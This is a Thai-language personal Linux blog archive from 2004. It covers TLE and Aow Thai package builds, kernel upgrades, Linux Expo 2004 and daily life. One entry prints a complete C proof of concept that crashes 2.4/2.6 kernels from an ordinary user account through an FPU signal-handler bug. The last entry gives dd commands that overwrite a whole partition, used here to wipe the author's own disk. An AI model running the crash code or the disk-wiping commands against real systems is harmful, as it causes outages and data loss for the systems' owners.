Tag Archives: linux

X.org + GNOME 2.6.2 + Live CD@home

วันศุกร์ตั้งใจจะลง X.org กับ GNOME 2.6.2 แต่ตื่นมาก็เย็นแล้ว ที่ว่าจะกลับบ้านเลยเลื่อนเป็นตอนเช้าเสาร์แทน

คืนศุกร์นั่งอัปเกรดระบบทั้ง Peorth และ Yggdrasil .. ลงที่ Yggdrasil โดยใช้ Synaptic ช่วยเลือกแพ็กเกจ พอเลือกได้สั่ง Execute โหลดแพ็กเกจมา 4-500 แพ็กเกจเห็นจะได้ เริ่มติดตั้งไปสักพัก ค้าง .. Synaptic เอาอีกแล้ว .. ตัดสินใจว่าลงใหม่เลยดีกว่า เริ่มต้นใหม่ที่ TLE Lite เปลี่ยน XFree86 เป็น X.org ตามด้วยอัปเกรดเป็น 2.6.2 และเป็น aowthai/TLC เต็มตัว (รายงานการติดตั้ง aowthai) ขั้นตอนอัปเกรดยุ่งยากพอสมควร ถึงจะมี apt ช่วยไว้เยอะแล้วก็ตาม .. และเพราะไลบรารีมีการเปลี่ยนแปลง เลยเป็นการบังคับให้ต้อง rebuild gimp abiword gaim aalib และ trafshow ใหม่สำหรับไลบรารีใหม่ๆ ด้วย .. พอทำบน Yggdrasil ได้เลยอัปเกรด Peorth ต่อ .. เรียบร้อยแล้วก็ genbasedir + sync ขึ้นเซิร์ฟเวอร์ เสร็จราวๆ หกโมงกว่าๆ .. เก็บของกลับบ้าน …

วันเสาร์ ออกเดินทางหกโมงครึ่ง ถึงขอนแก่นราวๆ สิบโมงครึ่ง .. เที่ยวนี้พก TLE Live CD กับ MandrakeMove มาด้วย เลยได้ลองใช้กับเครื่องที่บ้าน (Urd) .. MandrakeMove ผ่านฉลุย ใช้งานได้ราบรื่นมากๆ .. ส่วน TLE LiveCD สแกนหา image ไม่เจอ เลยยุ่งยากหน่อย เล่นเอามึนไปเหมือนกัน

อัปเดตแพ็กเกจ The GIMP 2.1.0 Unstable นอกจาก rebuild ให้ใช้ไลบรารีของ GNOME 2.6.2 แล้วก็คอมไพล์ให้ใช้ Little CMS สำหรับ Color Management และ libwmf สำหรับ Windows Meta File ด้วย .. ใครอยากใช้ก็ตามมาใช้ aowthai กับผมได้นะ :)

A long day .. and night

คืนก่อนโน้นไม่ได้หลับได้นอน เมื่อคืนได้นอนบนเก้าอี้ห้องแล็บสี่ชั่วโมง วันนี้เปรี้ยว ทำงานทั้งวันตั้งแต่หกโมงเช้า คอมพิวเตอร์สองเครื่องทำงานให้ไม่ทัน มีแอบหลับประปรายรอเครื่องประมวลผล ภาระงานลดลงไปบ้างแล้ว .. เป็นอีกหนึ่งวันที่ใช้ CPU 100% เกือบตลอดวัน และใช้ workspaces ที่เปิดไว้สี่หน้าจอจนเกลี้ยงทั้งสองเครื่อง .. อุปาทานไปว่าใช้งานคอมพิวเตอร์ได้คุ้มค่าดี … ลอล

เครื่อง Yggdrasil ใช้อัปเดตแพ็กเกจตามที่บอกไว้ mono, mod_mono, gtk-sharp อัปเป็น 1.0 หมดแล้ว สาวก .Net เอาไปใช้กันซะ ตามด้วย Liferea, TeXmacs, cdrtools (cdrecord, readcd, mkisofs, cdda2wave, … ) ใครที่เคยมีปัญหาเวลา copy cd / clone cd บน K3b ลองอัปเดต ทั้ง K3b (0.11.12) และ cdrtools (2.1a32) นะครับ อย่าลืมเข้าเมนู settings -> configure K3b -> Programs เช็คให้ชัวร์ๆ ว่าเป็นตัวใหม่ด้วยนะครับ

build แถม – xmms-crossfade rebuild เพราะตัวเดิมใช้แล้ว memory leak อย่างแรง .. เพิ่มแพ็กเกจ monopd + gtkatlantic ( + dependencies) มันก็คือเกมส์เศรษฐี (Monopoly ®) ออนไลน์แหละ .. monopd เป็นเซิร์ฟเวอร์ ส่วน gtkatlantic หรือ atlantic (KDE) เป็นไคลเอ็นด์ ยังไม่มีเวลาลองเล่นนะครับ โหลดไปเล่นแล้วรายงานผลมาให้ฟังก็จะดีครับ

เครื่อง Peorth .. วันนี้จำลองเครือข่ายหาจำนวนเส้นทางทั้งหมดเพื่อเทียบกับจำนวนเส้นทางเมื่อใช้ routing algorithm ที่ออกแบบใหม่ และเทียบกับจำนวนเส้นทางใน full-meshed network .. ใช้ modified BFS/DFS หาจำนวนเส้นทางในกราฟธรรมดา .. แรกๆ จำนวน node น้อยๆ ก็แป๊บเดียว แต่พอเครือข่ายใหญ่เกิน 20 nodes ทีนี้ไม่อยากนับแล้ว ขึ้น 30 nodes ใช้ 32-bit integer ชักไม่พอ ต้องเอา 64-bit long มาใช้แทน .. จำนวนเส้นทางใน full-meshed network ยิ่งมหาศาลไปใหญ่ แต่คำนวณจากสูตรได้ไม่ต้อง simulate แล้ววัด … พอคิดจะคำนวณกลับไม่มีโปรแกรมคณิตศาสตร์ติดมาบนลินุกซ์เลย จะ octave / scilab ก็ไม่ใช่งานมัน MuPAD ก็ยังใช้ไม่เป็น maxima ยิ่งไปกันใหญ่ จะโปรแกรมเอง/สคริปต์ก็ไม่เอาแล้ว .. สุดท้ายขุด MathCAD 2.5 เพื่อนเก่า มาใช้บน DOSBox เอา .. หุๆๆๆ .. ทำไมไม่มีใครทำอะไรแบบ MathCAD บนลินุกซ์มั่งหว่า ใช้ก็ง่าย อินเทอร์เฟสก็เข้าใจง่าย ทำงานก็เร็วดี สมัยเรียนใช้ทำแล็บแห้งประจำ :P

รวบรวมผลได้ครบก็เอาเข้า gnumeric คำนวณอีกนิดหน่อยแล้ว export เป็น csv มา plot ด้วย gnuplot อีกที .. อืมม แบบนี้ก็เวิร์กแฮะ :)

เว็บ kitty.in.th .. ตอนแรกก็จะแก้แค่ code ของห้องเก็บของ เอาไปเอามา เจอบั๊กเล็กๆ น้อยๆ อยู่ประปราย แก้มันทุกห้องเลยทีนี้ .. ใครเข้าไปเยี่ยมชมอาจจะไม่เห็นความเปลี่ยนแปลงเท่าไหร่ แต่เฉลยให้ฟังก็ได้ว่า ก่อนหน้านี้เผางานสุดๆ ไม่กล้าเอา code ให้ใครดูเลย .. ตอนนี้ก็ดีขึ้นแล้ว code สะอาดกว่าเดิม .. ไว้ว่างๆ จะมาจัดระเบียบอีกที :)

พรุ่งนี้ตั้งใจว่าจะกลับบ้าน น้ำมันแพงก็ไม่สน ไม่ได้เห็นหน้าลูกๆ เดือนกว่าแล้ว.. เบื่ออาหารแถวนี้แล้วด้วย อืมม.. อยากกลับไปกินแหนมเนือง แหนมคลุก ส้มตำ เนื้อย่างเกาหลี เบียร์โครเนนกับไส้กรอกเยอรมัน ข้าวเหนียวหมูปิ้ง กาแฟหลังมอด้วย .. :D~~

ลงอ่าวไทยแล้วนะ

ได้ฤกษ์ติดตั้ง Aowthai ซะที พอดีว่า KDE 3.2.3 มาแล้วด้วย .. วิธีติดตั้งก็ ลง 5.5 Lite ก่อนแล้ว apt-get ทับอีกที .. ยุ่งยากนิดหน่อยเพราะเปลี่ยน dependencies หลายตัว … ติดตั้งผ่านไปได้ ก็มาทดสอบ รัน X.org ได้แล้ว chroot ได้แล้ว ทั้งจาก 5.5 -> aowthai และจาก aowthai -> 5.5 (ทำไม MrChoke บอกว่าไม่ได้หว่า – -‘) .. ยังติดปัญหาเรื่อง libstdc++ ยัง upgrade ไม่ได้ แปลกแฮะ ..

แวะเข้าไปดู Planet TLWG (http://radiomir.homelinux.net/planet/tlwg/) .. สมาชิกทุกคนใช้ blogspot เลย feed เข้าไม่ยาก .. แต่ผมเขียน blog engine เอง ต้องเขียน backend feed เองดิ (T_T)

2-3 วันนี้อัปเดตแพ็กเกจไปนิดหน่อย proposed-update/unstable มี acroread 5.0.9 กับ gaim 0.79 .. Extras มีหลายตัว รายละเอียด ดูที่ ห้องเก็บของ ครับ

วันนี้อัปเกรดเคอร์เนลเป็น 2.6.7-mm2 เห็นแวบๆ ว่า patch irq routing เข้าไปอยู่ใน mm-patch แล้ว .. ต่อไปก็สบายละ :)

Thailand Linux Expo 2004

เมื่อวานตื่นมาทำงานเอาตอนเย็นๆ เลยนอนไม่ค่อยหลับ กว่าจะหลับก็เช้าแล้ว นัดกับเสี่ยต้นว่าจะไปงาน Linux Expo กับรถตู้ของเนคเทคตอนแปดโมงเช้า เพราะ 1. ไปตึก UN ถูกแต่เข้าไปไม่เป็น 2. น้ำมันแพง เจ็ดโมงสี่สิบห้าเสี่ยโทรมาปลุก เวงแล้ว .. ตาลีตาเหลือก โกยของจากห้องแล็บใส่เป้ กลับห้องอาบน้ำ แล้วบึ่งเข้าเนคเทค ทันรถตู้พอดี .. แต่ ลืมเอามือถือติดตัวไปด้วย เซ็งไปทั้งวัน เฮ่อ..

Linux Expo 2004 จัดร่วมกับ Government IT Forum ก็เลยมีคนเข้ามาชมงานเยอะ มาถึงที่งานเก้าโมงนิด มีคนต่อคิวผ่านเครื่องตรวจโลหะยาวจนล้นออกไปข้างนอก UN .. งานนี้มีคนเข้าใจผิดเยอะ คิดว่าเข้างานต้องเสียตังค์หมด จริงๆ แล้วเดินชมบูธไม่ต้องเสียตังค์ ฟังบรรยายที่บูธก็ไม่ต้องเสียตังค์ จะไปเสียเฉพาะฟังบรรยายในห้องประฃุมอย่างเดียว ช่วงเช้านี้อยู่เฝ้าบูธ Linux Showcase .. เจอคุณชาญวิทย์ กับ พี่หน่อยตอนสายๆ .. พี่หน่อยมีคิวบรรยายที่บูธ อุตส่าห์ปิดร้านมางานนี้เลยโดยเฉพาะ แต่มาถึงก็ตามล่าถ่ายรูปกับพริตตี้บูธต่างๆ เสยย แถมขอเมลเขามาได้อีก .. ลอล .. โชคกับหินเอาของมาส่งในงาน เลยโดนจับมาบรรยายที่บูธด้วย .. ลอล

คนเดินชมงานคึกคักดี โดยเฉพาะช่วงเช้า แต่ที่ทราบมาผู้ชมหลายคนหน่วยงานอนุญาตให้มาได้ครึ่งวัน บ่ายๆ คนเลยเริ่มหายไปบ้าง งานเสียตังค์ ถึงคิวบรรยายแยกเป็นสามแทร็คอีก เจอแบบนี้เลยเหลือคนฟังน้อยไปใหญ่ เข้าห้องบรรยายบ่ายสองครึ่ง เอ่อ มันเหมือนห้องประชุมที่เห็นในข่าวเลยแฮะ มีแถวหน้าเป็นเก้าอี้ประธานหันเข้าหาผู้ฟัง แล้วก็มีโต๊ะเป็นวงล้อมร้อม ไม่ได้เป็นแถวๆ เหมือนห้องบรรยายทั่วไป บรรยากาศแปลกๆ ดี .. จบบรรยายแล้วลงมาเจอ อ.ภุชงค์ ทักทายกันเล็กน้อย อ. ก็แซวว่า ลินุกซ์ก็ต้องเอาพริตตี้หน้าตาดีๆ มาดึงดูดแบบนี้แหละ .. ลอล ..อ่อ พริตตี้งานนี้เก๋ามาก ลูกเล่นแพรวพราว ต้องชม .. คุณอาคมมาตอนบ่ายแก่ๆ บอกว่าลงลินุกซ์บน Joybook ได้แล้ว แต่ใช้ Sound ไม่ได้ เช็คดูกับเว็บ ALSA ยังไม่เห็นว่ามีชิพตัวนี้เลย เหอะๆ คงต้องรอไปอีกพักนึง … คุณนุมาตอนเลิกงานแล้ว ได้ติดรถตู้กลับไปลงระหว่างทาง ..

สรุปวันนี้ ดูคึกคักกว่างานโอเพนซอร์สเมื่อเดือนที่แล้ว (ทั้งที่จริงคนอาจจะน้อยกว่าก็ได้ สถานที่เขาจัดหลอกตาเหมือนจะเยอะ) เรื่องการเดินทาง ผู้สนใจทั่วไปจะมางานนี้ออกจะลำบากหน่อย จะเอารถส่วนตัวมาจอดรถตึก UN นี่ลืมได้เลย ต้องไปจอดที่วัดมกุฏฯ แล้วเดินมา จะมีแต่ผู้จัด วิทยากร และผู้ที่ได้รับเชิญถึงจะได้บัตรจอดในตึก .. ให้ดีก็นั่งรถเมล แท็กซีมาครับ .. อาหารการกินนอกเหนือจากที่ผู้จัดงานเตรียมไว้สำหรับผู้ชมที่ลงทะเบียนเสียตังค์แล้วก็หากินยากพอสมควร .. พรุ่งนี้ (24 มิ.ย.) ยังมีอีกหนึ่งวัน สนใจก็ไปเยียมชมกันได้ครับ

กลับมาถึงที่เอไอที ตามหามือถือที่ลืมไว้ตอนเช้า .. ที่ห้องแล็บ (ซึ่งคาดว่าจะลืมไว้) ไม่เจอ .. ที่ห้องพักก็ไม่เจอ บนรถก็ไม่มี .. กลับมาห้องแล็บ รื้อของจากเป้ออกมาเก็บ .. ปรากฏว่ามือถือมันนอนอยู่ในเป้ที่แบกไปทั้งงานนั่นแหละ .. อนาถจริงๆ … ลอลลล

Opkts = 875285 !

เปิด Kitty Extras หนึ่งวัน FTP ที่เคยเหงาๆ ก็พุ่งพรวดไปเกือบๆ 800 accesses ในวันเดียว.. แพ็กเก็ตขาออก (Opkts) ช่วงห้าวันที่ผ่านมาตกวันละแสนนิดๆ แต่วันนี้วันเดียวแปดแสนกว่าเกือบๆ เก้าแสน :D .. โอ้ นะ .. เห็นตัวเลขแล้วก็ดีใจ (แต่กะว่าพรุ่งนี้ Opkts ลดลงแน่นอน คอยดูดิ .. ลอล) เพราะอยากให้เอา Extras ไปใช้งานกันเยอะๆ แล้วก็อย่าลืมฟีดแบ็คกลับมาด้วย ผมเองก็รู้ว่าที่ให้โหลดไปนั้นมันมีบั๊กอยู่เยอะแยะไปหมด มีคนช่วยเอาไปใช้ก็จะได้ปรับปรุงให้มันดีขึ้นไปเรื่อยๆ ครับ ..

.. อ่อ แนะนำว่าไม่ต้องโหลดแหลกดูดเอาไปเก็บทุกแพ็กเกจหรอกนะครับ (เห็นนะๆ) เดี๋ยวพรุ่งนี้ เมื่อรืนนี้ผมก็อัปเดตอีก แพ็กเกจที่โหลดไปถ้าเอาไปเก็บไว้เฉยๆ ไม่ได้เอามาใช้งานก็จะกลายเป็นเสียเวลาโหลดไปเปล่าๆ และยังไปเบียดแบนด์วิดธ์ผู้ใช้คนอื่นๆ อีก .. ใช้ apt-get ติดตั้งเท่าที่อยากใช้ดีกว่านะครับ ผมจะได้สบายใจว่าไม่ได้ใช้แบนด์วิดธ์ที่มีผู้ให้ความอนุเคราะห์มาฟรีๆ อย่างฟุ่มเฟือยเกินจำเป็น ถึงจะเป็นแบนด์วิดธ์ขาออกก็ต้องเกรงใจเจ้าของเขาเหมือนกันล่ะครับ และเพราะเหตุนี้ ผมถึงไม่อยากให้ตัวเลขการใช้สูงมากเกินไป .. ถ้าสูงก็ควรจะสูงอย่างคุ้มค่า สมเหตุสมผล ไม่ใช่สูงเพราะใช้ฟุ่มเฟีอย

วันนี้นั่งเตรียมพรีเซนต์งาน Linux Expo 2004 ทั้งวัน ยังได้ไม่ถึงครึ่่งเลยแฮะ มัวแต่นั่งอ่านบทความที่ค้นๆ เจอมาเป็นข้อมูลอ้างอิง พอเข้าใจแล้วว่าทำไมไมโครซอฟต์ถึงได้กลัวลินุกซ์นักหนา ขนาดออกแคมเปญ TCO ของวินโดว์สต่ำกว่ามาชวนเชื่อ จนเป็นชนวนชวนคนหมั่นไส้ .. ว่าไปแล้ว TCO นี่เป็นเรื่องที่ชี้ชัดยากจะตาย จะจัดให้มันดิ้นเข้าข้างใครก็ได้ ไมโครซอฟต์เอาผลสำรวจที่จ้างบริษัททำมาเป็นตัวชี้ มันก็ไม่ยากที่จะสำรวจให้มันได้ผลอย่างที่ต้องการ อีกด้านนึงผลสำรวจวิจัยอิสระมีรายงานเผยแพร่เป็นร้อยหน้าสรุปออกมาว่าลินุกซ์มี TCO ต่ำกว่าวินโดว์ส 40% ผลของอีกสำนักสรุปออกมาคล้ายๆ กันว่า ลินุกซ์มี TCO ต่ำกว่าในช่วง 10 – 40% … สรุปแล้วก็ it depends แหละครับ แล้วแต่ว่าจะวัดอะไรบ้าง ครอบคลุมแค่ไหน ระยะเวลาที่จะพิจารณานานเท่าไหร่ ซึ่งแต่ละองค์กรแต่ละพื้นที่มันก็ไม่เหมือนกัน .. แต่ที่ขัดใจที่สุดคือ TCO – Total Cost of Ownership ที่ไมโครซอฟต์อ้างว่าระบบวินโดว์สต่ำกว่าเนี่ย ผู้ใช้อย่างเราๆ ท่านๆ มี ‘ownership’ ในตัววินโดว์สจริงๆ เหรอฟะ ?

ใช่ว่าทั้งวันจะเจอแต่เรื่องปวดหัว เรื่องเบาๆ ชวนขำก็มี เช่น เรื่องไอบีเอ็มกับเอชพีโม้เรื่องยอดขายคอมพิวเตอร์ติดตั้งลินุกซ์ ปีที่ผ่านมาไอบีเอ็มขายได้ราวๆ หมื่นห้าพันเครื่อง เอ็ชพีได้ฟังก็เกทับว่าประมาณว่า “ถ้านับต่อเครื่องไอบีเอ็มก็ขายได้มากที่สุดแหละ แต่ถ้านับเป็นเปอร์เซ็นของเอชพีเยอะกว่าไอบีเอ็มเว้ย”.. อ่านแล้วก็ฮาดี ไม่คิดว่าจะมีวันที่เซลล์เอ็นจิเนียร์ของบริษัทยักษ์ใหญ่จะมาคุยถล่มกันเรื่องยอดขายลินุกซ์ ….ลอล

เมื่อเช้านึกว่าหายไข้แล้ว ปรากฏว่าตกดึกมาเริ่มมีอาการไข้ขึ้นอีก กินยาลดไข้ไปสองเม็ด ก่อนนอนอัดอีกสองเม็ด ถ้าไม่หายก็ไม่กินมันแล้ว

อ่าวไทยในบริบทของการพัฒนาลินุกซ์ทะเล

วันนี้ MrChoke แจ้งมาว่า อัปโหลดอ่าวไทยขึ้นเซิร์ฟเวอร์แล้ว มี X.org และ GNOME แล้ว .. ขาดเคอร์เนล .. ส่วน KDE ตัวใหม่เห็นว่าได้มาแล้ว แต่ยังไม่เริ่มทำเข้าอ่าวไทย …

เผื่อใครผ่านมาแถวนี้แล้วยังไม่รู้จัก อ่าวไทย (Aow Thai) เป็น unstable / testing branch ของ TLE .. เทียบได้กับ Rawhide ของ Red Hat หรือ Sid / Sarge ของ Debian .. อ่าวไทยนี้จะใช้สำหรับ unstable / testing ไปตลอด ไม่มีการเปลี่ยน ไม่มีการกำหนดเลขเวอร์ชันกำกับ ..ชื่อ “อ่าวไทย” ไม่ได้ตั้งกันลอยๆ หากแต่มีที่มาจากการพัฒนา TLE นี่เอง .. การพัฒนาดิสโตรเป็นการรวมรวมซอฟต์แวร์มาประกอบกันเป็นระบบที่ใช้งานได้ .. ดิสโตรแทบทุกตัวมีจุดเริ่มต้นเหมือนกัน คือจากโครงการซอฟต์แวร์โอเพ่นซอร์สต่างๆ ไม่ว่าจะเป็น Kernel XFree86 X.org GNOME KDE .. ร่ายยาวมาจนถึงแอพพลิเคชัน อย่าง Mozilla Evolution Gaim ฯลฯ .. ในทีมพัฒนาจึงมีคำเรียกโครงการเหล่านี้ว่าเป็น “ต้นน้ำ” ซึ่งเป็นแหล่งกำเนิดสายน้ำน้อยใหญ่หลายร้อยสาย บ้างก็ไหลมารวมกัน (merge / require / depend) หรือบางครั้งก็ไหลแยก (fork) ออกจากกัน .. แต่ท้ายที่สุดน้ำทุกสายก็ไหลมารวมกันที่ “อ่าวไทย” และไหลออกสู่ “ทะเล” ต่อไป :)

อืมม .. เสาร์อาทิตย์นี้วางแผนจะทำงานอะไรบางอย่างแล้ว .. ไว้สัปดาห์หน้าคงได้เริ่ม rebuild unstable บนอ่าวไทยกัน :)

นอกเรื่อง .. ได้เพลงของธีโลเนียส มองค์ (Thelonious Monk) มาฟังสามอัลบั้ม ..เช่นเคย มองค์มักเลือกโน้ตที่แปลกๆ เหมือนไม่เข้ากับคอร์ด เสียงเปียโนของมองค์จึงมีสำเนียงแปร่งๆ จังหวะมักคร่อมเหมือนจะหลุดแต่ไม่หลุด .. โดยส่วนตัว ชอบ .. แต่ไม่ถูกใจเท่าบิลล์ อีแวนส์ .. อ่อ ได้เพลงของ ออร์เน็ต โคลแมน (Ornette Coleman) มาฟังด้วย .. ปวดหัวแน่ๆ .. พรุ่งนี้จะเล่าอาการให้ฟัง .. ลอล

Kernel Upgrade Event

สองวันที่ผ่านมา วุ่นๆ กับงานติดตั้งเซิร์ฟเวอร์สองตัว ทั้งคู่ใช้ FreeBSD 4.10 .. ระหว่างรอติดตั้งซอฟต์แวร์ผ่าน ports collection ก็เลยถือโอกาสสั่ง cvsup sys บนเบลดันดีแล้วก็อัปเกรดเป็น 4.10 ไปด้วยเลย

%uname -a
FreeBSD belldandy.kitty.in.th 4.10-STABLE FreeBSD 4.10-STABLE #1: Tue Jun 15 18:3
9:32 ICT 2004     [email protected]:/usr/src/sys/compile/kitty  i386

กลับมาจากติดตั้งเซิร์ฟเวอร์ถึงห้องก็เที่ยง ซักผ้า รีดผ้า ออกมาทำงานก็บ่ายกว่าๆ แล้ว .. นั่งหาวิธี build firefox อยู่พักนึง เหมือนจะคอมไพล์ได้แล้วโดยแฮ็กเอาถึกๆ (i.e., ส่วนไหนคอมไพล์ไม่ผ่าน ตัดออกสถานเดียว) ไว้จะทำแพตช์แล้วก็ทำแพ็กเกจอีกที .. repo มีอัปเดตอื่นๆ อีกเล็กน้อย qcad 2.0.3.3, k3b 0.11.11, gnome-ppp 0.3.2 และมีคิวรออัปเดตอยู่อีกราวๆ 4-5 ตัว

อ่อ เคอร์เนล 2.6.7 ของลินุกซ์ออกแล้ว เลยได้อัปเดตเคอร์เนลของ peorth พร้อมกับทำแพตช์ IRQ Routing ของ Acer TM360 ไปด้วยเลย (ที่ผ่านมา แพตช์มือตลอด ใช้เวลาเยอะ ไม่ไหว) ตอนนี้ก็รัน 2.6.7 เป็นที่เรียบร้อยแล้ว

[kitt@peorth kitt]$ uname -a
Linux peorth.kitty.in.th 2.6.7-acer-tm360 #1 Thu Jun 17 16:18:07 ICT 2004 i686 i
686 i386 GNU/Linux

.. เป็นไปตามคาด คือแก้บั๊ก local DoS แล้ว .. ใน LKML ไม่ค่อยฮือฮามากอย่างที่คิดไว้ บั๊กที่ว่าอยู่ในโค้ดส่วนของ FPU ดูจากแพตช์ที่แก้บั๊ก (ใน 2.4.x) แล้วแก้กันง่ายๆ แค่บรรทัดเดียวเอง สงสัยเป็นแมลงกิ๊กก๊อก หรือไม่ก็อาจจะรู้กันมาก่อนจะเป็นข่าวนานแล้วก็ได้ .. ล่าสุด แว่วๆ มาว่าเจอบั๊กอีกตัวแล้ว แต่ก็แว่วๆ มาจากมาร์เซลโล (Marcello Tosatti – 2.4 kernel maintainer) อีกว่าบั๊กใหม่นี้แก้แล้วใน -mm .. ไวกันจริงๆ

วันนี้บ้าน ($HOME) ใน yggdrasil เต็ม .. เลยนั่งทำความสะอาด เผาแผ่นไปหลาย บ้านสะอาดขึ้นเยอะ กว้างขวางขั้นมาทันตา .. ยังเหลือไฟล์รกๆ อยู่อีกนิดหน่อย ดูๆ แล้วคงต้องจัดให้เป็นระเบียบไม่ช้าก็เร็ว

นอนไม่เต็มอิ่มมาหลายคืนแล้ว .. ไม่เกี่ยวกับบอลยูโรนะครับ เพราะยังไงผมไม่มีทีวีดู .. อ่อ ที่ AIT มีถ่ายทอดบอลผ่าน campus network ด้วยนะ (นอกจากบอลแล้วทั่วไปจะมีข่าว กีฬา และวิทยุตลอดทั้งวันอยู่แล้ว .. วันที่ 1/16 อาจจะมีถ่ายทอดหวยให้ดูด้วย – -‘) .. ภาพ/เสียงคมชัด แต่ดันเป็น Windows Media แถมยังสตรีมออกมาเป็นมัลติคาสต์ (multicast) ซึ่งยังดูบนลินุกซ์ไม่ได้ .. ที่จริงนะ ผมลงทุนเขียนโปรแกรมรับสตรีมได้แล้ว dump ข้อมูลออกมาได้แล้ว แต่มันเอามาเพลย์แบ็คตรงๆ ไม่ได้ เข้าใจว่าต้องถอดมัลติคาสต์สตรีมของ Windows Media ให้ได้เป็นสตรีม avi ก่อน ถึงจะเพลย์แบ็คได้ คิดจะ reverse engineer มันก็ไม่ไหวเพราะขาดทั้งข้อมูล ปัญญา และเวลา .. โง่นิ kitty

I know what you chatted last week

.. ก็เพราะ ..

[kitt@peorth kitt]$ uptime
19:07:23 up 7 day, 23:28, 6 users, load average: 0.06, 0.13, 0.07

uptime ล่าสุดของ peorth เกือบๆ แปดวัน แม้จะไม่ใช่ uptime ที่มากที่สุดที่เคยมี (peorth สูงสุด 14 วัน บนลินุกซ์ 7 วันบน Win2K .. uptime สูงสุดที่เคยทำได้คือสองร้อยกว่าวันบน FreeBSD ก่อนจะ reboot เพื่ออัปเกรดเคอร์เนล) … อ่อ และตลอดเวลาที่ up ผมออนไลน์ และเป็นสัปเหร่อเฝ้า (ป่าช้า) #tlwg แทบไม่ได้ปิดหน้าต่าง irc เลย .. ข้อความที่คุยกันผม log ไว้หมดแล้วล่ะท่านประธานที่เคารพ :P

ฟิตจัด ..ทำงานไป ฟังเพลงไป อัปเดตแพ็กเกจไปซะเยอะ

  • libsigc++ 2.0.3
  • glibmm 2.4.2
  • gtkmm 2.4.2
  • libglademm 2.4.1
  • libgnomeprintuimm 2.5.1
  • xvidcore 1.0.1
  • libcaca 0.9
  • xine-lib 1.0.0 rc4a
  • totem 0.99.12
  • scribus 1.1.7
  • littlecms 1.13
  • raptor 1.3.1
  • lbreakout 2.5 beta6
  • povray 3.6
  • gnusound 0.6.2
  • gl-117 1.3
  • fox 1.2.3
  • drgeo 0.9.13
  • mjpegtools 1.6.2
  • transcode 0.6.12 (rebuild)

ฯลฯ

base ของทะเล MrChoke บอกว่าเริ่ม build GNOME แล้ว .. และคาดว่าจะใช้งาน gcc 3.4 เป็นหลักในขณะที่ 3.3 เป็น compat คู่กับ 2.96 … โฮ่ๆๆ

ข่าวใหญ่เรื่อง local DoS attack linux โดยโค้ดสั้นๆ ง่ายๆ เพียงแค่

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
  char fpubuf[108];
  __asm__ __volatile__ ("fsave %0n" : : "m"(fpubuf));
  write(2, "*", 1);
  __asm__ __volatile__ ("frstor %0n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
  struct itimerval spec;
  signal(SIGALRM, Handler);
  spec.it_interval.tv_sec=0;
  spec.it_interval.tv_usec=100;
  spec.it_value.tv_sec=0;
  spec.it_value.tv_usec=100;
  setitimer(ITIMER_REAL, &spec, NULL);
  while(1)
  write(1, ".", 1);

  return 0;
}

.. ก็มีโอกาสทำให้เคอร์เนล 2.4.x / 2.6.x แครชได้เกือบทุกรุ่น แม้เป็นแค่ user ธรรมดาๆ …. สนใจก็ไปลองกันเอง ตอนนี้เป็นที่รู้กันแล้วทั้ง LKML และคงแก้บั๊กนี้ก่อนจะออก stable ถัดไป

ย้ายมาตั้งฐานอยู่ต่างจังหวัดชั่วคราว เตรียม merge extras กับ extras-2 :)

จิ้งจอกไฟ

คืนวานเปรยๆ ในห้อง #tlwg ว่าทำ Mozilla Firefox บนทะเลด้วยดีหรือเปล่า ? .. หลายๆ คนดูจะชอบเจ้าจิ้งจอกไฟ มินิโปรเจ็คจิ้งจอกไฟเลยเริ่มขึ้นตั้งแต่คืนก่อน จะบอกว่าง่ายก็ไม่ง่าย จะว่ายากก็ไม่ยาก แต่เป็นเพราะใช้เวลาคอมไพล์นานมากๆ รอบนึงๆ ใช้เวลาร่วมชั่วโมงครึ่ง ทดสอบ + hack + customize นั่งคอมไพล์ไปประมาณ 7-8 รอบกว่าจะได้ rpm ที่พร้อมติดตั้งโดยไม่ก่อปัญหาชนกับ Mozilla .. เดี๋ยวตอน base ออกก็อาจจะต้อง rebuild อีกรอบ เฮอะๆๆ

หลังจากลองทดสอบดู การทำงานเร็วขึ้นพอสมควรเมื่อเทียบกับ Mozilla ของทะเล ส่วนหนึ่งคงเป็นเพราะไม่ได้ใช้ ICU ในการตัดคำ ..ที่แปลกอีกอย่างคือใช้ฟอนต์ Microsoft Sans Serif ไม่ได้เลย ไม่ว่าจะตั้งใน Preferences หรือระบุในไฟล์ css Firefox จะแครชไปเลย แต่สำหรับผู้ใช้งานลินุกซ์เรื่องนี้คงไม่เป็นปัญหามั๊ง ^-^

My new HDD

ฮาร์ดดิสก์ Seagate 60 GB ของผมมี bad block นานแล้วแต่ไม่ได้เอาไปเคลมซักทีเพราะไม่มั่นใจว่าข้อมูลสำคัญๆ ย้ายออกมาครบแล้วหรือยัง เลยเสียบเป็น /dev/hdb ค้างไว้สองเดือน .. ถึงวันนี้แทบไม่ได้เรียกใช้งาน /dev/hdb อีกเลย ก็เลยคิดว่าเอาไปเคลมดีกว่า ..

ก่อนอื่นต้องล้างข้อมูลให้เกลี้ยงซะก่อนเพราะมีข้อมูลสำคัญหลายอย่าง (เช่น username/password ทั้งหมดที่ถืออยู่กว่าร้อยตัว – -‘) ลองหาพวก destructive delete/remove file ดู แล้วก็พบว่ามีโปรแกรม shred อยู่ในชุด coreutils สำหรับทำลายข้อมูลด้วยวิธีเขียนทับหลายๆ รอบ (default 25 รอบ) ป้องกันไม่ให้กู้ข้อมูลกลับมาได้อีกแม้จะมีฮาร์ดแวร์ราคาแพงสำหรับที่ตรวจพื้นผิวดิสก์ได้ก็ตาม โปรแกรมนี้ทำงานช้ามาก (floppy disk 1 แผ่นใช้เวลา 20 นาที) จะลบฮาร์ดดิสก์ทั้งลูกก็ดูจะเว่อร์ไป เลยใช้วิธีง่ายๆ คือ fill zero ทั้งพาร์ติชันแทน โดย

# dd bs=1024k if=/dev/zero of=/dev/hdb1

หรือจะให้ดีกว่านั้น (แต่ช้ากว่า) คือ fill random ด้วยคำสั่ง

# dd bs=1024k if=/dev/urandom of=/dev/hdb1

